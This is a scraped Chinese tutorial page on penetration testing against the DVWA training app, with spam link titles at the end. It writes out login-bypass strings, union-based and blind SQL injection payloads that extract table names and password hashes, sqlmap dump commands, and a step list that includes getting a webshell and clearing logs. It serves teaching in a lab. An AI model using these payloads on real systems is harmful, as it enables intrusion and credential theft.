当前位置: 首页 > news >正文

网页制作与网站建设课程设计最好用的手机编程软件

网页制作与网站建设课程设计,最好用的手机编程软件,php网站数据库修改,软件开发三个主要阶段一、走进DVWA测试网站 1、网站渗透测试步骤 (1)收集信息 1、获取域名的 Whois 信息#xff0c;获取注册者邮箱、姓名、电话等。2、查询服务器旁站及子域名站点#xff0c;因为主站一般比较难#xff0c;所以先看看旁站有没有通用性的CMS或者其他漏洞。3、查看服务器操作系…一、走进DVWA测试网站 1、网站渗透测试步骤 (1)收集信息 1、获取域名的 Whois 信息获取注册者邮箱、姓名、电话等。2、查询服务器旁站及子域名站点因为主站一般比较难所以先看看旁站有没有通用性的CMS或者其他漏洞。3、查看服务器操作系统版本、We 中间件看看是否存在已知的漏洞比如IIS、APACHENGINX 的解析漏洞。4、查看IP进行IP 地址端口扫描对响应的端口进行漏洞探测比如 RSYNC、MySQLFTP、SSH 弱口令等。5、扫描网站目录结构看看是否存在目录遍历漏洞是否存在敏感文件比如 PHP 探针等。6、Google Hack 进一步探测网站的信息、后台、敏感文件。 (2)扫描漏洞 开始检测漏洞如XSS、XSRF、SQL 注入、代码执行、命令执行、越权访问、目录读取、任意文件读取、下载、文件包含、远程命令执行、弱口令、上传、编辑器漏洞、暴力破解等。 (3)利用漏洞 利用以上方式拿到 Webshell或者其他权限。 (4)提升权限 在利用网站漏洞获取 Webshell 之后需要借助一些方法进一步获取系统权限比如在Windows下有 MySQL的UDF 提权、Sev -U 提权;Lnux 下的脏牛提权、内核版本提权MySOL System 提权及 0racle 权限提权。 (5)清理日志 (6)撰写总结报告及修复方案 报告是安全漏洞结果展现形式之一也是目前安全业内最认可的和常见的。报告的形式和格式不尽相同但大体展现的内容是一样的。 首先是对本次网站渗透测试的一个总概括如发现几个漏洞、有几个是高危的漏洞、几个中危漏洞、几个低危漏洞。 然后对漏洞进行详细的讲解比如是什么类型的漏洞、漏洞名称、漏洞危害、漏洞具体展现方式、修复漏洞的方法。 2、DVWA网站 DVWA (Damn Vulnerable Web Application) 是一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用旨在为安全专业人员测试自己的专业技能和工具提供合法的环境帮助Web开发者更好地理解 Web 应用安全防范的过程。 DVWA共有10个模块分别是 Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、InsecureCaptcha(不安全的验证码)、SQL Injection(SOL注入)、SO Iniection(Blind)(SOL盲注)、XSS( Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨脚本)。 3、其他漏洞网站 (1) Mutillidae 网站 Mutillidae Web 应用包含OWASP 上可利用的攻击漏洞包括 HTML-web storage、forms caching、click -iacking 等。受DVWA启发Mutillidae 允许使用者更改安全等级从0(完全没有安全意识)到5(安全)。另外提供3 个层次从“0级-我自己搞”(不要提示)到“2级-小白”(使劲提示)。如果 Mutillidae 在渗透过程中损坏了单击“Reset DB”按钮恢复出厂设置。 (2) WebGoat 网站 WebGoat 是一个用于讲解典型Web 漏洞的基于J2EE架构的 Web应用它由著名的 Web 应用安全研究组织OWASP 精心设计并不断更新目前的版本已经到了5.0。WebGoat 本身是一系列教程其中设计了大量的 We 缺陷一步步指导用户如何去利用这些漏洞进行攻击同时也指出了如何在程序设计和编码时避免这些漏洞。 (3) SOLi-Labs SOLi-Labs 是一个专业的SQL 注入练习平台 适用于 get 和 post 场景包含了以下注人 1、基于错误的注入 (Union Select)2、基于误差的注入 (双查询注入)3、盲注入(基于 Boolean 数据类型注入、基于时间注入)。4、更新查询注入 (update)。5、插入查询注人 (insert)。6、Header 头部注入(基于 Referer 注入、基于 UserAgent 注人基于 Cookie 注人)。7、二阶注入也可叫二次注入。8、绕过 WAF。9、绕过 addslashes() 函数。10、绕过mysql_real_escape_string() 函数(在特殊条件下)。11、堆叠注入(堆查询注入)。12、二级通道提取。 4、进入DVMA网站 在登录框中输人用户名“admin”密码“password”则进入 DVWA的主界面。在左侧菜单中可以看到不同的网站渗透类型:暴力破解、命令注入、CSRF文件包含、文件上传、SQL注人、XSS 等单击左侧的“DVWA安全”可选择DVWA 安全级别其中从低到高分别是Low、Medium、High、Impossible单击查看源代码可以看到PHP 的后台代码。 二、暴力破解和SQL注入 1、暴力破解 Brute Force即暴力 (破解)是指黑客利用密码字典使用穷举法猜解出用户口令是现在最广泛使用的攻击手法之一。 2、SQL语句 结构化查询语言 (Structured Query Language) 简称 SQL是一种特殊目的的编程语言是一种数据库查询和程序设计语言用于存取数据及查询、更新和管理关系数据库系统。 结构化查询语言是高级的非过程化编程语言允许用户在高层数据结构上工作。它不要求用户指定对数据的存放方法也不需要用户了解具体的数据存放方式所以具有完全不同底层结构的不同数据库系统可以使用相同的结构化查询语言作为数据输人与管理的接口。结构化查询语言语句可以嵌套这使它具有极大的灵活性和强大的功能。 SQL 具有数据定义、数据操纵和数据控制功能。 1、SQL 数据定义功能:能够定义数据库的三级模式结构即外模式、全局模式和内模式结构。在SQL中外模式又叫作视图 (View)全局模式简称模式 (Shema)内模式由系统根据数据库模式自动实现一般无须用户过问。2、SQL 数据操纵功能:包括对基本表和视图的数据插人、删除和修改特别是具有很强的数据查询功能。3、SOL的数据控制功能:主要是对用户的访问权限加以控制以保证系统的安全性。 SQL语句的用法 (建数据库、建表、插入数据、查询数据) 。 SQL注入是指 Web 应用程序对用户输入数据的合法性没有判断或过滤不严攻击者可以在 Web 应用程序中事先定义好的查询语句的结尾添加额外的 SOL语句在管理员不知情的情况下实现非法操作以此来实现欺骗数据库服务器执行非授权的任意查询从而进一步得到相应的数据信息。 3、PHP语言 PHP 即“超文本预处理器”是一种通用的开源脚本语言。PHP 是在服务器端执行的脚本语言与C 语言类似是常用的网站编程语言。PHP 独特的语法混合了C、Java、Perl及 PHP 自创的语法。其利于学习使用广泛主要适用于 Web 开发领域。 与其他常用语言相比PHP 语言优势明显。较好的可移植性、可靠性及较高的运行效率使 PHP 语言在当下行业网站建设中独占整头。利用 PHP 语育进行行业网站设计能够实现数据库的实时性更新网站的日常维护和管理简单易行进而提高用户的使用效率。 基于不同的环境、不同的工具PHP 可以使用不同的 MySOI.数据库的访间方法。 面向对象的方法: (1) MySQLi 通过 MySQLi构造方法实例化一个 MySOL 连接对象相当于建立了一个连接后续代码完全使用面向对象的方法使用该对象的成员函数操作 MySQL 数据库。(2) PDO 连接 MySOL 数据库 PDO 是基于数据库抽象层的一种访问方法它能用相同的函数 (方法)来查询和获取数据而不需要考虑连接的数据库类型。(3)ADODB 连接MySOL 数据库 ADODB 同样是数据库抽象类。ADODB 的数据库提供了通用的应用程序和所有支持的数据库连接并提供了比较实用的方法使它超越了一个抽象层的功能。 另外虽然面向过程的方法是 PHP 连接数据库最基本的方法使用较为简单。但其灵活性较差在大型项目的开发中一般较少使用。 4、暴力破解页面之Burp Suite破解 本节内容详细见Burp爆破 5、暴力破解页面之SQL注入 仍然是 DVWA“暴力破解”页面试着利用项目一提到的“万能密码”绕过登录验证小贴士:万能密码可理解为利用 SQL 语中的引号、注释符号、or and 等关键字构造的“永真”查询。 根据“暴力破解”页面的后台代码其中密码变量 $pass 被 MD5 加密因此万能密码无法成功登录。 但 $user 这个用户名变量没有加密可以构造万能用户名绕过登录页面验证于是在登录界面的“用户名”输入框中输人“admn #;”使用任意密码成功登录。图表明了万能用户名绕过的原理#的作用是注释后面的语句。 登陆原理 小贴士:构造万能用户名的前提是要知道后台数据表中的一个用户比如 admin、root 等 6、SQL注入页面之 SQL注入 将安全级别设置为 Low单击“SQL注入” SOL 注人成功与否注入点的判断是关键注入点是网页和数据库的连接点通过注入点值的变化能回显出不同的网页信息。在“SQL注入”页面的输入框中首先输入“1”并提交、输入“2”并提交网页回显出不同的用户名信息则这个框可能是注入点:接着输入“1”页面回显与输入“1’”时的相同输入的单引号并没有被过滤;最后尝试输人“any’ or ‘1’‘1”万能密码如所有用户信息都显示出来说明这个输入框就是注入点。 看源码如下: 根据源码在 DVWA 数据库中利用万能密码进行查询: SOL 注入点确定之后可通过注入点得到数据库的库名、表名、字段名等信息。在框中输入“1’ union select 1,database()#”单击“提交”按钮: 这里用到了 SQL语句中的 union 这个关键字它的作用是把两个查询合并回显在一张表格中;数字1起到占位的作用;database()是获取当前的数据库。 这时知道当前数据库为 DVWA。 在框中输入“1 union select 1,table_name from information_schema.tables where table_schemadvwa#”单击“提交”按钮。 这时看到DVWA数据库中存放着 admin、guestbook、users 等表格。输入语中的information_schema是MySQL的信息数据库tables 表存放着MySQL中所有数据库、表格的信息。 原理select first_name,last_name from users where user_id1 union select 1,table_name from information_schema.tables where table_schemadvwa# 在框中输入“1union select 1,column_name from information_schema.columns where table_nameusers#”单击“提交”按钮。 原理select first_name,last_name from users where user_id1union select 1,column_name from information_schema.columns where table_nameusers#; 这时看到 users 表中有 user_id、first_name last_name、user、password、avatar、last_login 等字段。输入语句中columns 表存放着MySQL中所有表格字段的信息。 这时直接查询 users 表中 user、password 字段内容在框中输入“1union select user,password from users#”单击“提交”按钮。 原理select first_name,last_name from users where user_id1union select user,password from users#; 可知输出的 password 字段内容是进行了 MD5 加密的可以利用在线网站尝试解密。 另外在利用SQL注入得到库、表、字段、记录的同时也可以得到 MySQL 的版本当前连接数据库的用户、操作库存储目录等信息。 输入“1 union select database( ),version()#”单击“提交”按钮 原理select first_name,last_name from users where user_id 1 union select database( ),version()#; 输入“1 union select 1,user()#”单击“提交”按钮 原理select first_name,last_name from users where user_id 1 union select 1,user()#; 输人“1union select version_compile_os,datadir #”单击“提交”按钮 原理select first_name,last_name from users where user_id 1union select version_compile_os,datadir #; 7、SQL注入(盲注)页面之 SQL注人 将安全级别设置为Low单击“SQL 注入 (盲注)”在文本框中输入数据从回显来看页面只输出“数据库中存在用户ID”“数据库中缺少用户ID”两种情况。这里盲注的基本思路是二分法因为只有两种情况的页面回显所以只能二分查找一点一点地找查找的基本步骤与注入顺序的基本一致。 第一步: 输人“1”回显“数据中存在用户ID” 第二步: 输人“1’ or 12#”依旧返回存在可以判定存在注入点。输人“1’ and 12#”回显“数据库中缺少用户ID”可以进行 SQL字符型盲注 第三步: 1、猜库名的字符长度。 输入“1 and length(database()) 1#”显示缺少 继续加码输入“1 and length(database())2#”依旧缺少 继续加码直到输入“1 and length(database())4#”显示存在。 猜测成功长度为4。 2、猜库名第一个字符。 输入“1 and ascii(substr(database(),1,1))97#”显示存在说明第一个是大于a的字母; 输入“1and ascii(substr(database(),1,1))122#”显示存在说明小于z;由二分法 输入“1and ascii(substr(database(),1,1))109#”显示缺少说明小于 m。 依此类推最后显示“1and ascii(substr(database(),1,1))100#”和“1and ascii(substr(database(),11))100#”都不存在说明第一个字母就是ASCII码为100对应的字母 d同样猜出其他三个字母。 第四步: 现在既然知道了库的名字就该对数据表进行暴力破解。同样的道理先确定表数量再确定表名称。下面列出用到的所有注入代码一行代表一次注释就是返回结果。 /* 确定库里有多少个表 */ 1 and (select count(table_name) from information_schema.tables where table_schema database()) 1#--缺小 1 and (select count(table_name) from information_schema.tables where table schema database()) 2#--存在 /* 确定第一个表字符长度 */ 1 and length(substr((select table_name from information_schema.tables where table_schema database() limit 0,1),1)) 1#--缺少 1 and length(substr((select table_name from information_schema.tables where table_schema database() limit 0,1),1)) 9#--存在/* 确定第二个表字符长度 * / 1 and length(substr((select table_name from information_schema.tables where table_schema database() limit 1,1),1)) 1#--缺少 1 and length(substr((select table_name from information_schema,tables where table schema database() limit 1,1),1)) 5#--存在 /*确定第一个表第一个字母*/ 1 and ascii(substr((select table_name from information_schema.tables where table_schema database() limit 0,1),1,1))97#-存在 1 and ascii(substr((select table_name from information_schema.tables where table_schema database() limit 0,1),1,1))122#--存在 1 and ascii(substr((select table_name from information schema.tables where table_schema database() limit 0,1),1,1))109#--缺少 1 and ascii(substr((select table_name from information schema.tables where table_schema database() limit 0,1),1,1))103#--缺少 1 and ascii(substr((select table_name from information schema.tables where table_schema database() limit 0,1),1,1))100#--存在 1 and ascii(substr((select table_name from information schema.tables where table_schema database() limit 0,1),1,1))102#--存在验证 1 and ascii(substr((select table_name from information schema.tables where table schema database() limit 0,1),1,1))103#--存在 /* 之后都是这个思路,得到两个表的名称 guestbook、users */第五步: 利用二分法对表格中的字段进行暴力破解。同样的道理试出列的数量然后试出每个列的列名再根据列名试出列中的数据。 8、SQL注入 (盲注)页面之SQLMap 自动注入 SQLMap 是一个渗透测试工具主要用来自动化 SQL 注入支持多种类型的数据库。以下针对“SQL注入(盲注)”页面进行 SQLMap 渗透。 首先在 Kali 中输人指令。其中u 参数后面的 URL 是盲注页面的提交值后的 URLPHPSESSID 是进入网站之后的 cookie 值cookie 是浏览器暂时存储账号的一种机制。打开火狐浏览器单击“选项”一“隐私”一“历史记录”将其改为“使用自定义设置”一“显示 cookies”在弹出的界面中即可查看当前的 cookie 值。SQLMap 语句中的 --dbs 参数表示对数据库名进行猜解按 Enter 键进行破解。 在输入几个“y”之后会出现 DVWA 等数据库在原有 SQLMap 语句中添加“-D dvwa -tables” 对 users 表进行猜解修改原有 SQLMap 语添加“-T users dump”利用SQLMap自带的数据字典最后得出整个数据表信息
http://www.pierceye.com/news/809977/

相关文章:

  • wordpress建站网站根目录短视频怎么赚钱
  • 亳州网站开发公司wordpress 添加分享
  • 如何查询网站接入信息移动网站开发框架
  • 河南做网站的百度竞价推广收费标准
  • 深圳的深圳的网站建设公司校园网站建设方向
  • 电商网站建设 解决方案的设计营销策略都有哪些方面
  • 菏泽网站建设兼职凡科网制作网站教程
  • 实验一 电子商务网站建设与维护北京网站设计培训学校
  • 周到的网站建设合肥建筑网站大全
  • 国外互联网资讯网站南宁网站制作费用
  • 建设公司网站要注意哪些蜜雪冰城推广软文
  • 做信息安全的网站博客网站的建设
  • 门户网站建设项目书提升学历是什么意思
  • 上海网站建设极简慕枫塘沽有哪些互联网公司
  • 社区网站如何做官方网站建设哪儿有
  • 做兼职的网站策划书大连中山网站建设
  • 中国摄影网站深圳网站建设龙华
  • 个人网站怎么建立深圳网站建站费用
  • 笔趣阁建站教程网页设计 网站建设啥意思
  • 海门网站开发西安响应式网站建设服务提供商
  • 自适应网站建站哈尔滨市建设安全监察网站
  • nas服务器可以做网站吗电商类网站开发方案
  • 免费的个人的网站网站建设 考虑
  • 医院网站建设的目的高端网站有哪些优势
  • 佛山网站建设首选如何备份wordpress
  • 优化稳定网站排名网站建设需要学什么语言
  • 可以做设计私单的网站硬件开发工程师面试
  • 竞价网站单页网页设计师中级证书有用吗
  • 做网站 简单外包wordpress 插件api
  • 白城网站seo新手怎么建立自己网站